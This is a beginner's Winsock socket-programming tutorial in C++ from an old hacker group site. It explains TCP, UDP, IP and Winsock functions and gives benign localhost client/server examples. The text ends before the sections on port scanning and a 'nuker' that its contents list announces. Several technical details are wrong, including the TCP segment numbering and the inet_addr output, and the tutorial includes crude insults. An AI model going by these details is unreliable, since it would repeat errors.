_________________
/_ /\
\/ _______ / \
/ / / / /
/ /______/ / /
/ __/ /
/ _______ \ __/
/ / / / \
/ /______/ / /
_/ / /
/______________/ / BLACK SUN RESEARCH FACILITY
\ \ / HTTP://BLACKSUN.BOX.SK
\______________\/
WINDOWS INTERNET PROGRAMMING
=================================================
WRITTEN BY [ cos125@hotmail.com :E-MAIL ]
BINARY RAPE [ 114603188 :ICQ# ]
[ www.geocities.com/wininetprogram :WEB SITE ]
[ http://blacksun.box.sk :TURORIALS ]
Thanks to cyberwolf for letting me write this and BSRF for releasing it.
Disclaimer
=======================================
None of the information or code in this tutorial is meant to be used against others
or to purposely damage computer systems or cause any loss of or damage to property.
Further more neither myself or any other contributor to, or member of, the Blacksun
research Facility (BSRF) can be held responsible for damage or loss of property of
computer systems as a result of this tutorial.
In this tutorial the code is provided as a learning aid so you can see how its done
its not meant for you to use against yourself or others.
Also in the Exercises sections you are encouraged to alter the code and improve it.
I say create or build a program to do something not create or build a program to do
something and use it for that purpose.
CONTENTS
=======================================
1. Introduction
2. Different types of Sockets
3. Protocols
3.1 What is TCP
3.2 What is UDP - An alternative
3.3 Introducing IP - The main protocol
3.4 TCP and UDP common functions
3.5 UDP specific functions
3.6 TCP specific functions
3.7 Structures
3.8 Converting
3.9 The application layer
4. Clients and servers
4.1 Bracaman's Server example - Win32
4.2 Bracaman's Client example - Win32
5. Exploring the Winsock
5.1 Looking at inet_addr()
5.2 Looking at htons()
5.3 Exploring Winsock functions
[ EXERCISES ]
6. Common Internet Programs
6.1 DNS
6.2 Port Scan
6.3 Nuker
[ EXERCISES ]
7. E-Mail - SMTP
[ EXERCISES ]
8. WinInet - FTP
[ EXERCISES ]
9. Another Protocol - ICMP
[ EXERCISES ]
10. Other Internet code
10.1 Internet connections
10.2 CGI Programming
[ EXERCISES ]
11. Last Words
Questions And Answers
APPENDIXES
A - The Compiler
B - IP and Port Numbers
C - Servers and Clients
D - Routers and Gateways
E - Further reading
F - Code
________________________________________________________________________________________________________
1.0 INTRODUCTION
=======================================
Welcome to Windows Internet Programming Part 1, the demented ramblings of a drunken Irish man.
Learning Internet programming can be very useful in many areas, not just for programmers that
wish to expand their knowledge but also to network administrators who should be more familiar
with how it all works and students who need to learn quick or they will fail their exams ;).
Even if you just want to learn programming as a hobbie then internet programming is a very easy
way to get more power over connections and to better understand whats really going on underneath
the hood of the internet.
The language of choice in this tutorial is c++ and the compiler is microsoft visual c++. To find
out how to set up your compiler for internet programming skip on ahead to Appendix A - The Compiler.
If you are not familiar with several topics on the internet such as the following:
1. IP address's and Port numbers.
2. Server and client relationships.
3. Routers and Gateways.
Then I suggest you at least read the sections Appendix B, Appendix C and Appendix D,
or goto Appendix E - Further Reading.
The protocols TCP, UDP, ICMP and IP are going to be discussed in the following sections but
they will all be addressed as we meet them so don't worry too much about them right now :).
Most of the following sections have an Exercises section at the end, just some suggestions about what
to do with the code after you read the section.
Youy are free to distribute the code that I write in this tutorial and this tutorial itself but
remember you must keep it intact. Use this file as a reference for anything you want even your own
papers or tutorials but please let me know if you do, id just like to know if this tutorial is of use
to you.
Ive made a website to coincide with this, and future tutorials and it should have a mailing list on it to,
this website will have articles and source code that are like add-on's to the tutorial, even when its finished.
The site should deal with internet technologies and programming in general as well as this tutorial.
The url is available at the top of the page (^ UP THERE ^).
There should be more additions to this tutorial soon as this is only version 1.0.
Feel free to send comments, questions and suggestions to me at my e-mail address above or add me to your
icq list.
Well without further adue Please read on as because im about to send this e-mail onto cyberwolf because
he keeps giving out to me for it being late :).
(Sorry cyber ive just been having alot of sex the last couple of weeks)
________________________________________________________________________________________________________
2.0 DIFFERENT TYPES OF SOCKETS
=======================================
There are 2 different main types of Sockets.
1. Streaming sockets.
2. Datagram sockets.
Programming TCP and UDP from scratch is difficult and involves alot of overhead. For this reason
the idea of sockets were created. The socket paradigm was developed at the University of California
at Berkelely. These sockets were designed for unix and similiar operating systems. In January of 1993
the Winsock was created to keep Bill Gates feet warm.. nnaahhh winsock is short for Windows Sockets
and is an implementation of Berkeley sockets but designed to take advantage of Windows message driven
architecture.
The winsock API was designed quickly in order to get it out as early as possible and therefore the
scope of the architecture mostly focused on TCP/IP but could still implement protocols such as
UDP (thankfully!).
Because Windows Sockets is based on the same sockets as unix, porting is quiet easy between the two,
we'll cover porting and multiple platform support in a later tutorial.
The Winsock is implemented trough the Winsock32.DLL in one of you system folders. It acts as a
layer between you (the programmer) and the hardware level (where packet generation and so on takes place).
You provide some perameters for the winsock such as the contents of the datagram, the target IP
address and the target port number and by calling some functions like sendto(); or recvfrom(); the
winsock creates the neccessary packets and sends or recieves datagrams.
The current version of Winsock is 2.0 and it takes more advantage of windows messaging and implements
better support for protocols other than TCP/IP.
+----------------------+ +-------------------------+ Your Application
| | | |
| Winsock2 Application | | Winsock 1.1 Application |
| | | |
+----------------------+ +-------------------------+
| |
| |
| |
+-----------------------------------------------------+ The Winsock
| Wsock32.dll - The Winsock DLL |
+-----------------------------------------------------+
|
|
|
+-----------------------------------------------------+ The Transport Layer
| The Hardware Layer |
+-----------------------------------------------------+
FIG 1. - How your program and sockets talk.
________________________________________________________________________________________________________
3.0 PROTOCOLS
=======================================
There are several protocols that we use in internet programming.
The first is IP and this is the base layer for Protocol programming.
The next 2 protocols are TCP, which is orientated with streaming sockets,
and then theres UDP which is orientated around datagram sockets.
Using these protocols we can build programs which run on the application layer and form
protocols such as FTP and HTTP.
3.1 WHAT IS TCP?
=======================================
TCP is the Transmission Control Protocol.
TCP is a protocol developed to make sure that packets were not lost on the internet as routers sent them
from computer to computer. You see when you want to send a file across the internet trough TCP you send
the file to the "TCP stack" (which is just another way of saying the Winsock).
TCP then splits up the file into little pieces, each piece is called a datagram, the size of each piece
depends on how good the tcp is on your computer and on the computer your sending the file to.
So if your computer can handle datagrams that are 1 kb large and smaller and your friends computer can
handle datagrams that are 500 bytes large and smaller, your TCP will divide a file into datagrams that
are 500 bytes largeso that both your computer and your friends can handle the size of the datagrams.
Otherwise it would be like trying to push a triangular peg into a round hole, it wouldn't fit.
The same as trying to squeeze digital larceny's mother into a normal bus seat, her ass is just too fat.
Now TCP was designed to keep track of every piece that it sends and to do so it numbers every datagram
that it creates, so we have 3 datagrams from a 1.5 kb file, first datagram is numbered 0, second 500 and
third is 1500.
Thanks to this numbering feature and some built in error checking functions TCP ensures that when you
send the datagrams A, B and C in that order they arrive in the order A B C and not something like C A B.
But how does TCP store these numbers? These numbers along with other information about the datagram,
such as the IP address and port number of where its being sent, is stored in something called a header.
A Datagram is wrapped up in a Header which contains information, this is why TCP was created, to store
and control the safe sending and recieving of Datagrams across the internet.
So with this example in mind say if I wanted to send a 1.5 kb file to a friend. Its a fairly small file
compared to most but still big enough that it needs to be split up by TCP.
+-----------------+ File before being sent
| 1.5 kb file |
+-----------------+
|
+-----+------+
| | |
+----+-----+------+ File split into datagrams on a 500 byte TCP connection
| 0 | 500 | 1500 |
+----+-----+------+
| | |
| | |
+----+-----+------+ TCP headers wrapped around Datagrams
| H | H | H |
+----+-----+------+
| 0 | 500 | 1500 |
+----+-----+------+
FIG 2. - TCP spliting a file into datagrams and wrapping them in their header.
3.2 WHAT IS UDP - AN ALTERNATIVE
=======================================
UDP was designed as an alternative to TCP, only problem is while TCP has built in error checking and
ensures that your file is recieved just the same way as it was sent UDP doesn't it just sends out its
datagrams and lets them find their own way to the host.
With TCP your quarenteed your sending A B C to a person but with UDP it could be more like B A C.
Because of this UDP is considered unreliable and is not counted on for important transfers.
Still UDP is not as bad as every-one says and the error rate is kinda low, still for important transfers
you just can't count on 'kinda' low.
UDP is better used on lan's and ethernet's than the internet because on these smaller networks it is
extremely rare that you would loose a datagram.
So if it is so unreliable why was it created?
Well there is a reason UDP is unreliable, it sacrifices its reliability for speed. There are many cases
where UDP is a definite advantage such as when you only need one datagram sent, then you wouldnt need to
worry whether A B C arrived in order cos' your only sending A.
UDP wraps datagrams in its own header for transmission, these headers are smaller and contain less info
than TCP headers but like I said sometimes UDP is a definite advantage.
3.3 INTRODUCING IP - THE MAIN PROTOCOL
=======================================
IP stands for Internet Protocol and all other protocols such as TCP and UDP ride piggy back on it.
IP doesn't divide files up into datagrams and the like it already has that job done for it by TCP and UDP.
IP is sent the datagram with a header wrapped around it (either a TCP or UDP header it doesn't matter),
and it wraps its own header around it.
Now we have a datagram with 2 seperate headers wrapped around it, the TCP header and the IP header.
This formation is known as an IP Packet. All information, e-mails, web-pages, messages and files are sent
across the internet in IP Packets.
IP headers are used to provide information to routers as opposed to, say for example TCP, whose headers
are meant for servers and clients to tell them how to put datagrams together.
The IP header contains information like the IP# and port number of the host its being sent to, which it
extracts from the TCP or UDP header, so that it can tell the routers where it wants to go.
The TTL is the Time To Live of the packet we are sending. Rather than the time to live specifying the
amount of time in seconds or minutes that the packet exists for it contains a number which states how many
routers the packet can meet before it is destroyed. The TTL is a number specified by you (the programmer).
For example if we set the time to live field as 10 in the IP header then the packet can meet ten
routers before it is destroyed. Each router that the packet meets subtracts 1 from the number so that after
the packet meets the first router the TTL will be equal to 9 and after the second it will be 8.
When the TTL hits 1 the router subtracts 1, gets 0 and throws away the packet, this is to ensure that
if a packet gets lost it wont just wander around the internet forever.
+-----------------------+
| IP Header |
+-----------------------+
|+---------------------+|
|| TCP Header ||
|+---------------------+|
||+-------------------+||
||| |||
||| Datagram |||
||| |||
||| |||
||+-------------------+||
|+---------------------+|
+-----------------------+
Fig 3. - Structure of an IP Packet.
3.4 TCP AND UDP COMMON FUNCTIONS
=======================================
TCP and UDP contain both common and different functions. All of these functions are contained within the
winsock.h header file (which is contained in windows.h).
[ WSAStartup() ]
WSAStartup() must be called every time that we start internet code in an application. This function calls
the winsock so that we can use it. Every windows winsock program begins with this function.
[ WSACleanup() ]
Like WSAStartup();, WSACleanup(); must be called in every winsock program, it however is called at the end
of the code as opposed to the beginning like startup(); is. This function is the equivilant to unix's,
close() and shutdown() functions.
Its very important that every single WSAStartup() has a corresponding WSACleanup().
[ Socket() ]
The next important function is socket(); and is used by both protocols. This function contains 3 parameters,
1. Domain
2. Type
3. Protocol
1. Domain - There are several values you can set domain to depending on the purpose of the socket.
In this tutorial were going to set the domain to AF_INET in order to use internet protocols.
2. Type - The value of type depends on what sockets you use. Remember there are 2 types of sockets,
Streaming and Datagram. TCP is stream orientated and UDP is datagram orientated. Therefore
if we wish to use TCP we set the type to SOCK_STREAM and if we want to use UDP we set it to
SOCK_DGRAM
3. Protocol - This isn't important we can set it to 0.
Once we create the socket trough this function we can read and write to and from it. So anything we send to
the socket is transmitted across the internet connection and anything sent to us can be read from the connection.
[ closessocket() ]
closesocket() function is used to close a socket that you have already created.
This function has 1 parameter, the name of the socket you created.
1. Socket - The name of the socket you declared.
This function closes the socket and once called no more reading or writing can be made to the socket.
To use this function you must first declare socket. Any-1 that try's to read or write to the socket
will recieve errors once this function is called.
[ gethostbyname() ]
This function returns the IP address of a host, for example;
gethostbyname("www.microsoft.com");
would return the IP address of the misrosoft website. This function is whats behind the DNS program and
theres many occassions when obtaining the unknown IP address of a website can be useful in programming.
[ gethostbyaddr() ]
This function does the opposite of gethostbyname(). In this function we pass an IP address as the parameter
and a host name is returned.
3.5 UDP SPECIFIC FUNCTIONS
=======================================
Unlike the previous section which contained functions used by both UDP and TCP applications this section
contains functions which are specific to UDP, that is you only use them in a program that is using UDP as
the protocol of choice.
[ sendto() ]
The sendto() function is used to send datagrams across the connection we have established and we pass it 6
parameters.
1. Sock - The socket that weve made earlier.
2. Msge - The information we want to send.
3. Len - The length of the information we wish to send.
4. Flags - This is set to 0.
5. To - The pointer to struct sockaddr.
6. Tolen - The sizeof(struct sockaddr).
sendto() returns the number of bytes sent and returns -1 on error.
[ recvfrom() ]
This is sendto() 's counterpart, where we use sendto() to send information and write to a socket, we use
recvfrom() to read from that socket and recieve information from a computer on the internet.
1. Sock - The socket that weve made earlier.
2. Buf - The buffer to read information into.
3. Len - The maximum length of the buffer.
4. Flags - This is set to 0.
5. From - The pointer to struct sockaddr
6. Fromlen - The pointer to an int with the value of sizeof(struct sockaddr)
recvfrom() returns the number of bytes recieved and returns -1 on error.
3.6 TCP SPECIFIC FUNCTIONS
=======================================
Like UDP, TCP has 2 specific fuctions for sending and receiving information on the internet,
these functions look very similiar but dont have as many parameters.
[ send() ]
send() is the same as UDP's sendto() and has 4 parameters.
1. Sock - The same as sendto().
2. Msge - The same as sendto().
3. Len - The same as sendto().
4. Flags - The same as sendto().
send() returns the number of bytes sent and returns -1 on error.
[ recv() ]
recv() is the same as UDP's recvfrom() and has 4 parameters.
1. Sock - The same as recvfrom().
2. Msge - The same as recvfrom().
3. Len - The same as recvfrom().
4. Flags - The same as recvfrom().
recv() returns the number of bytes recieved and returns -1 on error.
Unlike UDP, TCP is a connection orientated protocol, what this means is that you first must form a
connection with the host before you can begin sending and recieving information to one another.
TCP has several specific functions for forming this connection.
[ connect() ]
After we start up the winsock in a TCP application and set up the socket we must call this function
in order to form the connection.
It has 3 parameters.
1. Sock - The socket that weve made earlier.
2. To - The pointer to struct sockaddr.
3. ToLen - The sizeof(struct sockaddr).
You will recognise all of these parameters from earlier and theres nothing new to explain here.
This function is used to connect to an IP address on a defined port and returns -1 on error.
TCP again varies from UDP by requiring special functions when creating a server.
These are bind() and listen().
[ bind() ]
bind() has 3 parameters.
1. Sock - The socket that weve made earlier.
2. My_addr - The pointer to struct sockaddr.
3. ToLen - The sizeof(struct sockaddr).
bind() is used to form a connection to a port on your own computer. All servers have specific ports,
an http servers port is 80 and an ftp servers port is 21.
With servers we must bind() to a specific port so that clients know how to talk to us. When I bind();
to port 13 all IP packets sent to port 13 on my computer are directed to my program.
[ listen() ]
listen() only contains 2 parameters.
1. Sock - The socket that weve made earlier.
2. BackLog - The number of connections allowed.
We use listen() when we are waiting for a connection. You must call bind() before listen() so the
program knows what port it is supposed to be listening to for packets.
3.7 STRUCTURES
=======================================
There are several structures used in winsock programming to make referencing objects that much easier.
[ sockaddr ]
You'll notice that in the last section I refered to "struct sockaddr" but what is it?
sockaddr is a c++ structure which holds 2 pieces of information about the socket.
1. Sa_family - The address family.
2. Sa_data[14]; - 14 bytes of the protocol address.
[ sockaddr_in ]
Another structure is sockaddr_in which we use to reference elements of the socket.
1. Sin_family - The address family.
2. Sin_port - The Port number.
3. Sin_addr - The Internet Address.
sin_family is usually set to AF_INET in most programs. It tells the program what kind of network its going
to be used for, in this case AF_INET (the internet).
sin_port is a number used for the internet connection such as 80.
sin_addr is the internet address to be used in the connection such as 127.0.0.1.
[ hostent ]
The final structure we are going to look at is hostent.
This structure is used to refer to remote hosts, like www.microsoft.com or blacksun.box.sk.
This structure is most commonly used to find the IP address or the host name of a remote computer.
We can reference information mainly by using only 1 part.
1. Hostent->h_name
This is used to get the IP number when provided the host name.
The rest of the structure isn't important right now but we may cover it later.
3.8 CONVERTING
=======================================
[ htons() ]
Theres a little problem with numbers on the internet, intel chips store them one way and motorola
chips store them a different way. So how do we make sure that our programs can work alongside macintosh
computers which use the motorola chip? There is a function called htons() which will convert the number
thankfully and its really easy to use.
This function has only 1 paramater
1. Port - The port number.
It takes the port number we pass to it and converts it, saving us from annoying overhead.
We'll use htons() later when we have to fill up structures.
[ inet_addr ]
Before we can fill up our structures tough we first have to supply an IP address and in order for the
program to do this we must convert the address into an unsigned long.
To do this we pass the IP address to the function inet_addr() as its only parameter.
1. Address - The IP Address.
3.9 THE APPLICATION LAYER
=======================================
Mostly on the internet you'll hear things like ftp and http and how they are protocols. This is true
as what a protocol is, is a defined set of rules on how to interact, like a certain way for 2 computers
to talk to eachother.
These protocols however are not quiet the same as TCP or UDP, just as those 2 aren't the same as IP.
We can seperate and define these protocols by placing them in layers. IP is the base layer the one where
most fundamental communication takes place (getting from one place to another), and protocols like
TCP are built on top of IP so they are on a different layer. The same way FTP and HTTP are built on top
of TCP so they are on a higher level.
This can best be shown with a diagram I think (or maybe its not I just like making diagrams ;),).
+-------------------+
| Application Layer | - FTP, HTTP.
+-------------------+
| Transport Layer | - TCP, UDP.
+-------------------+
| Protocol Layer | - IP.
+-------------------+
| Hardware Layer | - Network Card.
+-------------------+
Fig 4. - Protocol Layering.
The Hardware Layer is of course where packets are created and everything on the network and ethernet
cards themselves.
________________________________________________________________________________________________________
4.0 CLIENTS AND SERVERS
=======================================
Since this tutorial is trying to run parallel to BracaMans unix sockets tutorial (also available from
blacksun.box.sk).
We are going to use the same programs as in his tutorial except ported for use in windows.
4.1 BRACAMANS SERVER EXAMPLE - WIN32
=======================================
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
#include
#define PORT 3550 /* Port that will be opened */
#define BACKLOG 1 /* Number of allowed connections */
struct sockaddr_in server; /* server's address information */
struct sockaddr_in client; /* client's address information */
int sin_size;
WSADATA wsdata;
SOCKET fd, fd2;
DWORD wsock;
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Server");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Server";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Server", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
WSAStartup(0x0101,&wsdata);
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) /* calls socket() */
{
MessageBox(0,"Socket Error","Error",0);
return -1;
}
server.sin_family = AF_INET;
server.sin_port = htons(PORT); /* Remember htons() from "Conversions" section? =) */
server.sin_addr.s_addr = INADDR_ANY; /* INADDR_ANY puts your IP address automatically */
if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr)) == -1) /* calls bind() */
{
MessageBox(0,"Bind Error","Error",0);
return -1;
}
if(listen(fd,BACKLOG) == -1) /* calls listen() */
{
MessageBox(0,"Listen Error","Error",0);
return -1;
}
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size)) == -1) /* calls accept() */
{
MessageBox(0,"Accept Error","Error",0);
return -1;
}
MessageBox(0,"Client connected to server.","Connection",0);
send(fd2,"Welcome to my server.\n",22,0); /* send to the client welcome message */
WSACleanup();
return -1;
}
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This is the same code as the streaming server in bracamans tutorial, except this has been ported to windows,
the names bracaman uses in the program and the comments are the same.
4.2 BRACAMANS CLIENT EXAMPLE - WIN32
=======================================
And of course every server has to have a client...
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
#define PORT 3550 /* Port that will be opened */
#define MAXDATASIZE 100 /* Max number of bytes of data */
struct hostent *he; /* structure that will get information about remote host */
struct sockaddr_in server; /* server's address information */
int numbytes; /* files descriptors */
char buf[MAXDATASIZE]; /* buf will store received text */
WSADATA wsdata;
SOCKET sock;
DWORD wsock;
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
WSAStartup(0x0101,&wsdata);
he = gethostbyname("localhost"); /* calls gethostbyname() */
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) /* calls socket() */
{
MessageBox(0,"Socket Error","Error",0);
return -1;
}
server.sin_family = AF_INET;
server.sin_port = htons(PORT); /* htons() is needed again */
server.sin_addr = *((struct in_addr *)he->h_addr); /* he->h_addr passes "*he"'s info to "h_addr" */
if(connect(sock,(struct sockaddr *)&server,sizeof(struct sockaddr)) == -1) /* calls connect() */
{
MessageBox(0,"Connection Error","Error",0);
return -1;
}
if ((numbytes = recv(sock,buf,MAXDATASIZE,0)) == -1) /* calls recv() */
{
MessageBox(0,"Receiving Error","Error",0);
return -1;
}
buf[numbytes]='\0';
MessageBox(0,buf,"Server Message",0); /* it prints server's welcome message =) */
WSACleanup();
return -1;
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
Again the code is almost the exact same as the original just ported and 1 or 2 different names for things.
We have covered all of this stuff already so theres nothing new here for you to learn except of course
for how to put it all together :).
As you can tell from the code, both the client and server are stream orientated, and what does this mean?
It means that they use TCP rather than UDP as the protocol.
________________________________________________________________________________________________________
5.0 EXPLORING THE WINSOCK
=======================================
Of course its the winsock that makes all this code work and ive already told you what functions like
htons() and inet_addr() do to numbers, but now its time to show you.
5.1 LOOKING AT INET_ADDR
=======================================
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
void outtie(char *p)
{
FILE *fp=fopen("c:\\inet_addr.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
long adrss;
char output[200];
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
adrss = inet_addr("127.0.0.1");
sprintf(output,"Internet Address = %ld",adrss);
outtie(output);
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This program is simple, in the beginning we set up the function outtie,
this function takes the char, output, and prints it to a file called inet_addr.txt in the C:\ drive.
We go all inet_addr on the IP address 127.0.0.1's ass and put the result in output.
We then call outtie(); and the result of inet_addr is put into the text file.
Taadaaaa.
Run this program and click on the client area, wait a second then close it.
Goto your C:\ drive and open the file inet_addr.txt.
The file should look something like this
[ inet_addr.txt ]
Internet Address = 537001100
and that is that.
5.2 LOOKING AT HTONS()
=======================================
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
long port;
char output[200];
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
port = htons(80);
sprintf(output,"Port 80 = %ld",port);
MessageBox(0,output,"Port",0);
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This program is very similiar to the last one but this one looks at htons() rather than inet_addr.
Here we have chosen to display the result in a messagebox tough rather than a text file.
The result should be a message box with caption, "Port" and text saying Port 80 = 20480.
5.3 EXPLORING WINSOCK FUNCTIONS
=======================================
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
WSADATA ws;
DWORD wsock;
char msge[200];
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
wsock = WSAStartup(0x0101,&ws);
sprintf(msge,"wsock..%ld",wsock);
MessageBox(0,msge,msge,0);
sprintf(msge,"wVersion....%d",ws.wVersion);
MessageBox(0,msge,msge,0);
sprintf(msge,"wHighVersion....%d",ws.wHighVersion);
MessageBox(0,msge,msge,0);
sprintf(msge,"szDescription....%s",&ws.szDescription);
MessageBox(0,msge,msge,0);
sprintf(msge,"szSystemStatus....%s",&ws.szSystemStatus);
MessageBox(0,msge,msge,0);
sprintf(msge,"iMaxSockets....%u",ws.iMaxSockets);
MessageBox(0,msge,msge,0);
sprintf(msge,"iMaxUdpDg....%u",ws.iMaxUdpDg);
MessageBox(0,msge,msge,0);
sprintf(msge,"lpVendorInfo....%s",ws.lpVendorInfo);
MessageBox(0,msge,msge,0);
MessageBox(0,"Finished","End",0);
WSACleanup();
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This program calls several functions of winsock and displays the results to us in message box's.
These can be handy if, for example I wanted to tell some-1 what version of winsock there running I
would call &ws.szDescription which in my case would say Winsock 2.0, in a nicely human readable value.
[ EXERCISES ]
Look trough the file winsock.h in your compiler include folder. See what else there is in winsock
that can be demonstrated in these kinds of programs.
________________________________________________________________________________________________________
